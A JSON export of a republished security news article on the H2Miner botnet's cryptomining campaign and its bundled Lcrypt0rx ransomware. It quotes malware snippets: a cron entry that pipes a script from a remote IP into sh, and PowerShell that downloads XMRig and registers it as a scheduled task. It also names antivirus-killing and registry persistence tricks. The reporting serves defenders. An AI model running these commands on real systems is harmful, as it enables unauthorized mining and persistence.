{"id":5446,"date":"2025-07-18T10:00:28","date_gmt":"2025-07-18T10:00:28","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/07\/18\/h2miner-attacking-linux-windows-and-containers-to-mine-monero\/"},"modified":"2025-07-18T10:00:28","modified_gmt":"2025-07-18T10:00:28","slug":"h2miner-attacking-linux-windows-and-containers-to-mine-monero","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/07\/18\/h2miner-attacking-linux-windows-and-containers-to-mine-monero\/","title":{"rendered":"H2Miner Attacking Linux, Windows, and Containers to Mine Monero"},"content":{"rendered":"<p>    H2Miner Attacking Linux, Windows, and Containers to Mine Monero<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>The H2Miner botnet, first observed in late 2019, has resurfaced with an expanded arsenal that blurs the line between cryptojacking and ransomware.<\/p>\n<p>The latest campaign leverages inexpensive virtual private servers (VPS) and a grab-bag of commodity malware to compromise Linux hosts, Windows workstations, and container workloads simultaneously.<\/p>\n<p>By chaining cloud-aware shell scripts, cross-compiled binaries, and living-off-the-land commands, the operators pivot quickly from initial foothold to Monero mining\u2014often before defenders notice the spike in CPU load.<\/p>\n<p>Attacks begin with opportunistic exploitation of misconfigured services or vulnerable applications such as Apache ActiveMQ (CVE-2023-46604) and Log4Shell.<\/p>\n<p>Once inside, the botnet deploys tailored loader scripts\u2014\u200bce.sh on Linux and 1.ps1 on Windows\u2014\u200bthat terminate competing miners, disable endpoint protection, and fetch the XMRig binary from 78.153.140.66. Containers are not spared: spr.sh scans Docker images and ejects Alibaba Cloud\u2019s aegis agent before dropping Kinsing.<\/p>\n<p>The same infrastructure hosts a Cobalt Strike team server at 47.97.113.36 and Bitbucket repositories that disguise payloads as \u201cMicrosoftSoftware.exe,\u201d illustrating a mature, multi-tier command-and-control (C2) design.<\/p>\n<p>Fortinet analysts <a href=\"https:\/\/www.fortinet.com\/blog\/threat-research\/old-miner-new-tricks\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">noted<\/a> that a new VBScript ransomware, Lcrypt0rx, is now bundled alongside the miners.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEie2tjWT2TjU4nOiYi9HNvgb3FhBrYt8jZ3ErtcOP4L7Pb7kOLGjxE2Dfd4uf1w8gAZ-1gt9zjUfCO0sS_NCbynmtUlzx6GFiVXiUCbQ5j17xZcRfONlOkyofXI0Rbz05S1bkjuGVep_sMv7JN8Uhh_tUYLIeYYqC7roniRJxsgjAcoxiLU7X1F9VuIAn0\/s16000\/Encryption%2520logic%2520and%2520XOR%2520implementation%2520%28Source%2520-%2520Fortinet%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Encryption logic and XOR implementation (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n<p>Although its encryption routine is rudimentary\u2014\u200ban 8,192-character XOR key stitched to a per-file salt, \u200bthe script still overwrites the Master Boot Record and litters the system with decoy <a href=\"https:\/\/cybersecuritynews.com\/detecting-and-responding-to-new-nation-state-persistence-techniques\/\" target=\"_blank\" rel=\"noreferrer noopener\">persistence<\/a> hooks.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjtGVnv3KsLEYFFk03wPrSUvSyZTUpT0yiEt8rsQnxVaV5hvK0GkwF9M_sHuaHqthcY_JREcEhBLiDmYySLTsrWsmsEQf6dGztgp6YYhdXnZnvVxqZmEJ9g_iwbEdX6pT70gNrX5MT3KrW-3U8_Dp4h-5GhriwIV8hFn2_2ExIjNyp6-dOIbYZZ5CfVHi4\/s16000\/Attribute%2520manipulation%2520and%2520MBR%2520overwrite%2520%28Source%2520-%2520Fortinet%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Attribute manipulation and MBR overwrite (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n<p>The overlap of wallets and hosting addresses suggests either collaboration with, or direct control by, H2Miner\u2019s original crew.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEilJupkn7i2VvMw65uED0nDXPs3c2q4-RIZkjT1YLbE9ijXWVfbSnBtZ-bO7M8RO8snHwwwsHj8T4-_aFI5xMdctlfPT8I_EsfIA42I93A24L8dvGmhDscvS2jRxtdf-aRcYPVYQT47GcBuVwhdmoz-eN_XEWn9qwlgOv1uX6XRaXjpQFabl1zNGy0y-IM\/s16000\/Cron%2520entry%2520and%2520clearing%2520command%2520history%2520%28Source%2520-%2520Fortinet%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Cron entry and clearing command history (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n<p>This shows that how ce.sh implants a cron job that re-downloads itself every ten minutes:-<\/p>\n<pre class=\"wp-block-code\"><code>( crontab -l 2&gt;\/dev\/null ; \n  echo \"*\/10 * * * * curl -fsSL http:\/\/80.64.16.241\/ce.sh | sh\" ) | crontab -<\/code><\/pre>\n<p>Besides this, it highlights the Windows counterpart, where 1.ps1 registers XMRig as a scheduled task:<\/p>\n<pre class=\"wp-block-code\"><code>$miner  = \"$env:TEMPsysupdate.exe\"\nInvoke-WebRequest -Uri \"http:\/\/78.153.140.66\/xmrig.exe\" -OutFile $miner\nschtasks \/create \/f \/tn \"Update service for Windows Service\" `\n         \/tr \"$miner\" \/sc minute \/mo 15 \/rl highest<\/code><\/pre>\n<h2 class=\"wp-block-heading\"><strong>Infection Mechanism and Persistence<\/strong><\/h2>\n<p>H2Miner\u2019s sticking power stems from its layered infection sequence. The initial <a href=\"https:\/\/cybersecuritynews.com\/shell-scripts-ecommerce-sites\/\" target=\"_blank\" rel=\"noreferrer noopener\">shell scripts<\/a> enumerate defensive processes, kill them with brutal regular expressions, and wipe audit trails by clearing shell history.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgJIdbYZBRnTCDfI3euu_CggzC5FUJHjIaoIP7g2AOjk06SyfFheulXSQEjePpLSUd4sMUtVQT4GK923aPbf_dFvGVmHaiXfb02erV1iNKC67VS0MTGn6IGJ39DQ7MSN6SEwTLaHrJG7cOCImbVgXqt5pzCAZwXj6FXOyQyB0slJMv1SnHKfGv6onCAK2I\/s16000\/Wallpaper%2520defacement%2520%28Source%2520-%2520Fortinet%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Wallpaper defacement (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n<p>On Windows, Lcrypt0rx escalates via <code>Shell.Application<\/code> to relaunch itself with <code>wscript.exe \/elevated<\/code>, then attempts to cement persistence by mis-writing its path into the Winlogon Shell and IFEO keys.<\/p>\n<p>While that registry logic fails, the malware compensates by embedding six auxiliary scripts\u2014\u200bfrom <code>advapi32_ext.vbs<\/code>, which loops through <code>taskkill \/f \/im *av*.exe<\/code>, to <code>USB_bridge.vbs<\/code>, a rudimentary autorun propagator.<\/p>\n<p>Each helper is dropped with <code>+h +s +r<\/code> attributes and invoked under <code>HKCUSoftwareMicrosoftWindowsCurrentVersionRun<\/code>, ensuring at least one copy survives cleanup.<\/p>\n<p>This belt-and-suspenders approach, coupled with frequent updater scripts like cpr.sh, lets the botnet respawn miners even after a partial eviction.<\/p>\n<p>For defenders, that means endpoint remediation must include container images, scheduled tasks, cron entries, and rogue registry keys; otherwise, the <a href=\"https:\/\/cybersecuritynews.com\/monero-price-strength-signals-growing-market-confidence\/\" target=\"_blank\" rel=\"noreferrer noopener\">Monero<\/a> wallets\u2014\u200bnotably 4ASk4RhU\u2026p8SahC\u2014\u200bwill continue siphoning stolen compute cycles long after the first alert is closed.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 90%,rgb(169,184,195) 100%)\"><strong>Boost detection, reduce alert fatigue, accelerate response; all with an interactive sandbox built for security teams -&gt;\u00a0<a href=\"https:\/\/any.run\/demo?utm_source=csn&amp;utm_medium=article&amp;utm_campaign=top3_ciso_challenges&amp;utm_content=demo_1&amp;utm_term=160725\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Try ANY.RUN Now<\/a><\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/h2miner-attacking-linux-windows\/\">H2Miner Attacking Linux, Windows, and Containers to Mine Monero<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/h2miner-attacking-linux-windows\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>H2Miner Attacking Linux, Windows, and Containers to Mine Monero The H2Miner botnet, first observed in late 2019, has resurfaced with an expanded arsenal that blurs the line between cryptojacking and ransomware. The latest campaign leverages inexpensive virtual private servers (VPS) and a grab-bag of commodity malware to compromise Linux hosts, Windows workstations, and container workloads [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-5446","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5446"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=5446"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5446\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=5446"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=5446"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=5446"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}